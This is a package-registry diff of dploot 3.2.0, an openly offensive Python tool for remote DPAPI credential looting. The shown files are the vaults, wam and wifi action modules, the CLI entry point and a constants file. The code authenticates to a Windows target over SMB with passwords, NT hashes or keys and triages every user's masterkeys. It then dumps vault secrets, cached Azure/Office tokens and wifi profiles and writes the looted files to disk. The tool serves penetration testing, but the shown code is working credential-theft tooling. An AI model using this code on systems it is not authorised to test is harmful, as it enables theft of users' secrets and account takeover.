dploot 3.2.0__py2.py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. dploot/__init__.py +0 -0
  2. dploot/action/__init__.py +0 -0
  3. dploot/action/backupkey.py +102 -0
  4. dploot/action/blob.py +167 -0
  5. dploot/action/browser.py +192 -0
  6. dploot/action/certificates.py +146 -0
  7. dploot/action/cng.py +129 -0
  8. dploot/action/credentials.py +132 -0
  9. dploot/action/machinecertificates.py +136 -0
  10. dploot/action/machinecng.py +120 -0
  11. dploot/action/machinecredentials.py +120 -0
  12. dploot/action/machinemasterkeys.py +117 -0
  13. dploot/action/machinetriage.py +158 -0
  14. dploot/action/machinevaults.py +127 -0
  15. dploot/action/masterkeys.py +200 -0
  16. dploot/action/mobaxterm.py +138 -0
  17. dploot/action/rdg.py +132 -0
  18. dploot/action/sccm.py +125 -0
  19. dploot/action/triage.py +187 -0
  20. dploot/action/vaults.py +132 -0
  21. dploot/action/wam.py +133 -0
  22. dploot/action/wifi.py +137 -0
  23. dploot/entry.py +98 -0
  24. dploot/lib/__init__.py +0 -0
  25. dploot/lib/consts.py +30 -0
  26. dploot/lib/crypto.py +415 -0
  27. dploot/lib/dpapi.py +302 -0
  28. dploot/lib/masterkey.py +75 -0
  29. dploot/lib/smb.py +517 -0
  30. dploot/lib/target.py +219 -0
  31. dploot/lib/utils.py +99 -0
  32. dploot/lib/wmi.py +61 -0
  33. dploot/triage/__init__.py +30 -0
  34. dploot/triage/backupkey.py +81 -0
  35. dploot/triage/browser.py +441 -0
  36. dploot/triage/certificates.py +444 -0
  37. dploot/triage/cng.py +165 -0
  38. dploot/triage/credentials.py +163 -0
  39. dploot/triage/masterkeys.py +279 -0
  40. dploot/triage/mobaxterm.py +653 -0
  41. dploot/triage/rdg.py +249 -0
  42. dploot/triage/sccm.py +302 -0
  43. dploot/triage/vaults.py +307 -0
  44. dploot/triage/wam.py +251 -0
  45. dploot/triage/wifi.py +424 -0
  46. dploot-3.2.0.dist-info/METADATA +865 -0
  47. dploot-3.2.0.dist-info/RECORD +50 -0
  48. dploot-3.2.0.dist-info/WHEEL +4 -0
  49. dploot-3.2.0.dist-info/entry_points.txt +3 -0
  50. dploot-3.2.0.dist-info/licenses/LICENSE +21 -0
@@ -0,0 +1,132 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+ from dploot.action.masterkeys import (
6
+ add_masterkeys_argument_group,
7
+ parse_masterkeys_options,
8
+ )
9
+
10
+ from dploot.lib.smb import DPLootSMBConnection
11
+ from dploot.lib.target import Target, add_target_argument_group
12
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
13
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
14
+ from dploot.triage.vaults import VaultsTriage
15
+
16
+ NAME = "vaults"
17
+
18
+
19
+ class VaultsAction:
20
+ def __init__(self, options: argparse.Namespace) -> None:
21
+ self.options = options
22
+ self.target = Target.from_options(options)
23
+
24
+ self.conn = None
25
+ self._is_admin = None
26
+ self.outputdir = None
27
+ self.masterkeys = None
28
+ self.pvkbytes = None
29
+ self.passwords = None
30
+ self.nthashes = None
31
+
32
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
33
+
34
+ if self.options.mkfile is not None:
35
+ try:
36
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
37
+ except Exception as e:
38
+ logging.error(str(e))
39
+ sys.exit(1)
40
+
41
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
42
+ self.options, self.target
43
+ )
44
+
45
+ def connect(self) -> None:
46
+ self.conn = DPLootSMBConnection(self.target)
47
+ if self.conn.connect() is None:
48
+ logging.error("Could not connect to %s" % self.target.address)
49
+ sys.exit(1)
50
+
51
+ def run(self) -> None:
52
+ self.connect()
53
+ logging.info(
54
+ "Connected to {} as {}\\{} {}\n".format(
55
+ self.target.address,
56
+ self.target.domain,
57
+ self.target.username,
58
+ ("(admin)" if self.is_admin else ""),
59
+ )
60
+ )
61
+ if self.is_admin:
62
+ if self.masterkeys is None:
63
+
64
+ def masterkey_triage(masterkey):
65
+ masterkey.dump()
66
+
67
+ masterkeytriage = MasterkeysTriage(
68
+ target=self.target,
69
+ conn=self.conn,
70
+ pvkbytes=self.pvkbytes,
71
+ nthashes=self.nthashes,
72
+ passwords=self.passwords,
73
+ per_masterkey_callback=masterkey_triage
74
+ if not self.options.quiet
75
+ else None,
76
+ )
77
+ logging.info("Triage ALL USERS masterkeys\n")
78
+ self.masterkeys = masterkeytriage.triage_masterkeys()
79
+ print()
80
+ if self.outputdir is not None:
81
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
82
+
83
+ def secret_callback(vault):
84
+ if self.options.quiet:
85
+ vault.dump_quiet()
86
+ else:
87
+ vault.dump()
88
+
89
+ triage = VaultsTriage(
90
+ target=self.target,
91
+ conn=self.conn,
92
+ masterkeys=self.masterkeys,
93
+ per_vault_callback=secret_callback,
94
+ )
95
+ logging.info("Triage Vaults for ALL USERS\n")
96
+ triage.triage_vaults()
97
+ if self.outputdir is not None:
98
+ dump_looted_files_to_disk(self.outputdir, triage.looted_files)
99
+ else:
100
+ logging.info("Not an admin, exiting...")
101
+
102
+ @property
103
+ def is_admin(self) -> bool:
104
+ if self._is_admin is not None:
105
+ return self._is_admin
106
+
107
+ self._is_admin = self.conn.is_admin()
108
+ return self._is_admin
109
+
110
+
111
+ def entry(options: argparse.Namespace) -> None:
112
+ a = VaultsAction(options)
113
+ a.run()
114
+
115
+
116
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
117
+ subparser = subparsers.add_parser(
118
+ NAME, help="Dump users Vaults blob from local or remote target"
119
+ )
120
+
121
+ group = subparser.add_argument_group("vaults options")
122
+
123
+ group.add_argument(
124
+ "-mkfile",
125
+ action="store",
126
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
127
+ )
128
+
129
+ add_masterkeys_argument_group(group)
130
+ add_target_argument_group(subparser)
131
+
132
+ return NAME, entry
dploot/action/wam.py ADDED
@@ -0,0 +1,133 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+ from dploot.action.masterkeys import (
6
+ add_masterkeys_argument_group,
7
+ parse_masterkeys_options,
8
+ )
9
+
10
+ from dploot.lib.smb import DPLootSMBConnection
11
+ from dploot.lib.target import Target, add_target_argument_group
12
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
13
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
14
+ from dploot.triage.wam import WamTriage
15
+
16
+ NAME = "wam"
17
+
18
+
19
+ class WamAction:
20
+ def __init__(self, options: argparse.Namespace) -> None:
21
+ self.options = options
22
+ self.target = Target.from_options(options)
23
+
24
+ self.conn = None
25
+ self._is_admin = None
26
+ self.outputdir = None
27
+ self.masterkeys = None
28
+ self.pvkbytes = None
29
+ self.passwords = None
30
+ self.nthashes = None
31
+
32
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
33
+
34
+ if self.options.mkfile is not None:
35
+ try:
36
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
37
+ except Exception as e:
38
+ logging.error(str(e))
39
+ sys.exit(1)
40
+
41
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
42
+ self.options, self.target
43
+ )
44
+
45
+ def connect(self) -> None:
46
+ self.conn = DPLootSMBConnection(self.target)
47
+ if self.conn.connect() is None:
48
+ logging.error("Could not connect to %s" % self.target.address)
49
+ sys.exit(1)
50
+
51
+ def run(self) -> None:
52
+ self.connect()
53
+ logging.info(
54
+ "Connected to {} as {}\\{} {}\n".format(
55
+ self.target.address,
56
+ self.target.domain,
57
+ self.target.username,
58
+ ("(admin)" if self.is_admin else ""),
59
+ )
60
+ )
61
+ if self.is_admin:
62
+ if self.masterkeys is None:
63
+
64
+ def masterkey_triage(masterkey):
65
+ masterkey.dump()
66
+
67
+ masterkeytriage = MasterkeysTriage(
68
+ target=self.target,
69
+ conn=self.conn,
70
+ pvkbytes=self.pvkbytes,
71
+ nthashes=self.nthashes,
72
+ passwords=self.passwords,
73
+ per_masterkey_callback=masterkey_triage
74
+ if not self.options.quiet
75
+ else None,
76
+ )
77
+ logging.info("Triage ALL USERS masterkeys\n")
78
+ self.masterkeys = masterkeytriage.triage_masterkeys()
79
+ print()
80
+ if self.outputdir is not None:
81
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
82
+
83
+ def token_callback(token):
84
+ if self.options.quiet:
85
+ token.dump_quiet()
86
+ else:
87
+ token.dump()
88
+
89
+ triage = WamTriage(
90
+ target=self.target,
91
+ conn=self.conn,
92
+ masterkeys=self.masterkeys,
93
+ per_token_callback=token_callback,
94
+ )
95
+ logging.info("Triage Office Token Broker Cache for ALL USERS\n")
96
+ triage.triage_wam()
97
+ if self.outputdir is not None:
98
+ dump_looted_files_to_disk(self.outputdir, triage.looted_files)
99
+ else:
100
+ logging.info("Not an admin, exiting...")
101
+
102
+ @property
103
+ def is_admin(self) -> bool:
104
+ if self._is_admin is not None:
105
+ return self._is_admin
106
+
107
+ self._is_admin = self.conn.is_admin()
108
+ return self._is_admin
109
+
110
+
111
+ def entry(options: argparse.Namespace) -> None:
112
+ a = WamAction(options)
113
+ a.run()
114
+
115
+
116
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
117
+ subparser = subparsers.add_parser(
118
+ NAME,
119
+ help="Dump users cached azure tokens from local or remote target",
120
+ )
121
+
122
+ group = subparser.add_argument_group("wam options")
123
+
124
+ group.add_argument(
125
+ "-mkfile",
126
+ action="store",
127
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
128
+ )
129
+
130
+ add_masterkeys_argument_group(group)
131
+ add_target_argument_group(subparser)
132
+
133
+ return NAME, entry
dploot/action/wifi.py ADDED
@@ -0,0 +1,137 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+
6
+ from dploot.lib.smb import DPLootSMBConnection
7
+ from dploot.lib.target import Target, add_target_argument_group
8
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
9
+ from dploot.action.masterkeys import parse_masterkeys_options
10
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
11
+ from dploot.triage.wifi import WifiTriage
12
+
13
+
14
+ NAME = "wifi"
15
+
16
+
17
+ class WifiAction:
18
+ def __init__(self, options: argparse.Namespace) -> None:
19
+ self.options = options
20
+
21
+ self.target = Target.from_options(options)
22
+
23
+ self.conn = None
24
+ self._is_admin = None
25
+ self.masterkeys = None
26
+ self.outputdir = None
27
+
28
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
29
+
30
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
31
+ self.options, self.target
32
+ )
33
+
34
+ if self.options.mkfile is not None:
35
+ try:
36
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
37
+ except Exception as e:
38
+ logging.error(str(e))
39
+ sys.exit(1)
40
+
41
+ def connect(self) -> None:
42
+ self.conn = DPLootSMBConnection(self.target)
43
+ if self.conn.connect() is None:
44
+ logging.error("Could not connect to %s" % self.target.address)
45
+ sys.exit(1)
46
+
47
+ def run(self) -> None:
48
+ self.connect()
49
+ logging.info(
50
+ "Connected to {} as {}\\{} {}\n".format(
51
+ self.target.address,
52
+ self.target.domain,
53
+ self.target.username,
54
+ ("(admin)" if self.is_admin else ""),
55
+ )
56
+ )
57
+ if self.is_admin:
58
+ if self.masterkeys is None:
59
+
60
+ def masterkey_triage(masterkey):
61
+ masterkey.dump()
62
+
63
+ masterkeytriage = MasterkeysTriage(
64
+ target=self.target,
65
+ conn=self.conn,
66
+ pvkbytes=self.pvkbytes,
67
+ nthashes=self.nthashes,
68
+ passwords=self.passwords,
69
+ per_masterkey_callback=masterkey_triage
70
+ if not self.options.quiet
71
+ else None,
72
+ )
73
+ logging.info("Triage SYSTEM masterkeys\n")
74
+ self.masterkeys = masterkeytriage.triage_system_masterkeys()
75
+ # we need user masterkeys, too.
76
+ logging.info("Triage ALL USERS masterkeys\n")
77
+ self.masterkeys.extend(masterkeytriage.triage_masterkeys())
78
+ print()
79
+ if self.outputdir is not None:
80
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
81
+
82
+ def profile_callback(profile):
83
+ if self.options.quiet:
84
+ profile.dump_quiet()
85
+ else:
86
+ profile.dump()
87
+
88
+ wifi_triage = WifiTriage(
89
+ target=self.target,
90
+ conn=self.conn,
91
+ masterkeys=self.masterkeys,
92
+ per_profile_callback=profile_callback,
93
+ )
94
+ logging.info("Triage ALL WIFI profiles\n")
95
+ wifi_triage.triage_wifi()
96
+ if self.outputdir is not None:
97
+ dump_looted_files_to_disk(self.outputdir, wifi_triage.looted_files)
98
+
99
+ else:
100
+ logging.info("Not an admin, exiting...")
101
+
102
+ @property
103
+ def is_admin(self) -> bool:
104
+ if self._is_admin is not None:
105
+ return self._is_admin
106
+
107
+ self._is_admin = self.conn.is_admin()
108
+ return self._is_admin
109
+
110
+
111
+ def entry(options: argparse.Namespace) -> None:
112
+ a = WifiAction(options)
113
+ a.run()
114
+
115
+
116
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
117
+ subparser = subparsers.add_parser(
118
+ NAME, help="Dump wifi profiles from local or remote target"
119
+ )
120
+
121
+ group = subparser.add_argument_group("wifi options")
122
+
123
+ group.add_argument(
124
+ "-mkfile",
125
+ action="store",
126
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
127
+ )
128
+
129
+ group.add_argument(
130
+ "-outputfile",
131
+ action="store",
132
+ help=("Export keys to file"),
133
+ )
134
+
135
+ add_target_argument_group(subparser)
136
+
137
+ return NAME, entry
dploot/entry.py ADDED
@@ -0,0 +1,98 @@
1
+ import argparse
2
+ import importlib.metadata
3
+ import logging
4
+ import sys
5
+ import traceback
6
+
7
+ from impacket.examples import logger
8
+
9
+ from dploot.action import (
10
+ backupkey,
11
+ blob,
12
+ browser,
13
+ certificates,
14
+ cng,
15
+ credentials,
16
+ machinecertificates,
17
+ machinecng,
18
+ machinecredentials,
19
+ machinemasterkeys,
20
+ machinetriage,
21
+ machinevaults,
22
+ masterkeys,
23
+ mobaxterm,
24
+ rdg,
25
+ sccm,
26
+ triage,
27
+ vaults,
28
+ wam,
29
+ wifi,
30
+ )
31
+
32
+ ENTRY_PARSERS = [
33
+ backupkey,
34
+ blob,
35
+ browser,
36
+ certificates,
37
+ cng,
38
+ credentials,
39
+ machinecertificates,
40
+ machinecng,
41
+ machinecredentials,
42
+ machinemasterkeys,
43
+ machinetriage,
44
+ machinevaults,
45
+ masterkeys,
46
+ mobaxterm,
47
+ rdg,
48
+ sccm,
49
+ triage,
50
+ vaults,
51
+ wam,
52
+ wifi,
53
+ ]
54
+
55
+
56
+ def main() -> None:
57
+ logger.init()
58
+ version = importlib.metadata.version("dploot")
59
+ print(f"dploot (https://github.com/zblurx/dploot) v{version} by @_zblurx")
60
+ parser = argparse.ArgumentParser(
61
+ description="DPAPI looting locally remotely in Python",
62
+ add_help=True,
63
+ )
64
+
65
+ subparsers = parser.add_subparsers(help="Action", dest="action", required=True)
66
+
67
+ actions = {}
68
+
69
+ for entry_parser in ENTRY_PARSERS:
70
+ action, entry = entry_parser.add_subparser(subparsers)
71
+ actions[action] = entry
72
+
73
+ if len(sys.argv) == 1:
74
+ parser.print_help()
75
+ sys.exit(1)
76
+
77
+ options = parser.parse_args()
78
+
79
+ if options.debug is True:
80
+ logging.getLogger().setLevel(logging.DEBUG)
81
+ elif options.quiet is True:
82
+ logging.getLogger().setLevel(logging.CRITICAL)
83
+ else:
84
+ logging.getLogger().setLevel(logging.INFO)
85
+
86
+ logging.debug(f"{options=}")
87
+ try:
88
+ actions[options.action](options)
89
+ except Exception as e:
90
+ logging.error("Got error: %s" % e)
91
+ if options.debug:
92
+ traceback.print_exc()
93
+ else:
94
+ logging.error("Use -debug to print a stacktrace")
95
+
96
+
97
+ if __name__ == "__main__":
98
+ main()
dploot/lib/__init__.py ADDED
File without changes
dploot/lib/consts.py ADDED
@@ -0,0 +1,30 @@
1
+ # Define some dploot consts.
2
+
3
+ FALSE_POSITIVES = [
4
+ ".",
5
+ "..",
6
+ "desktop.ini",
7
+ "Public",
8
+ "Default",
9
+ "Default User",
10
+ "All Users",
11
+ ]
12
+
13
+ # simple class to check for false positives, case insensitive
14
+ class FalsePositives(list):
15
+ def __init__(self,
16
+ false_positives: list[str] = None
17
+ ) -> None:
18
+ if false_positives is None:
19
+ false_positives = FALSE_POSITIVES
20
+
21
+ super().__init__(map (lambda x: x.lower(), false_positives))
22
+
23
+ def __contains__(self, name):
24
+ return super().__contains__(str(name).lower())
25
+
26
+ def __setitem__(self, key, value):
27
+ return super().__setitem__(key,str(value).lower())
28
+
29
+ def append(self, element):
30
+ return super().append(str(element).lower())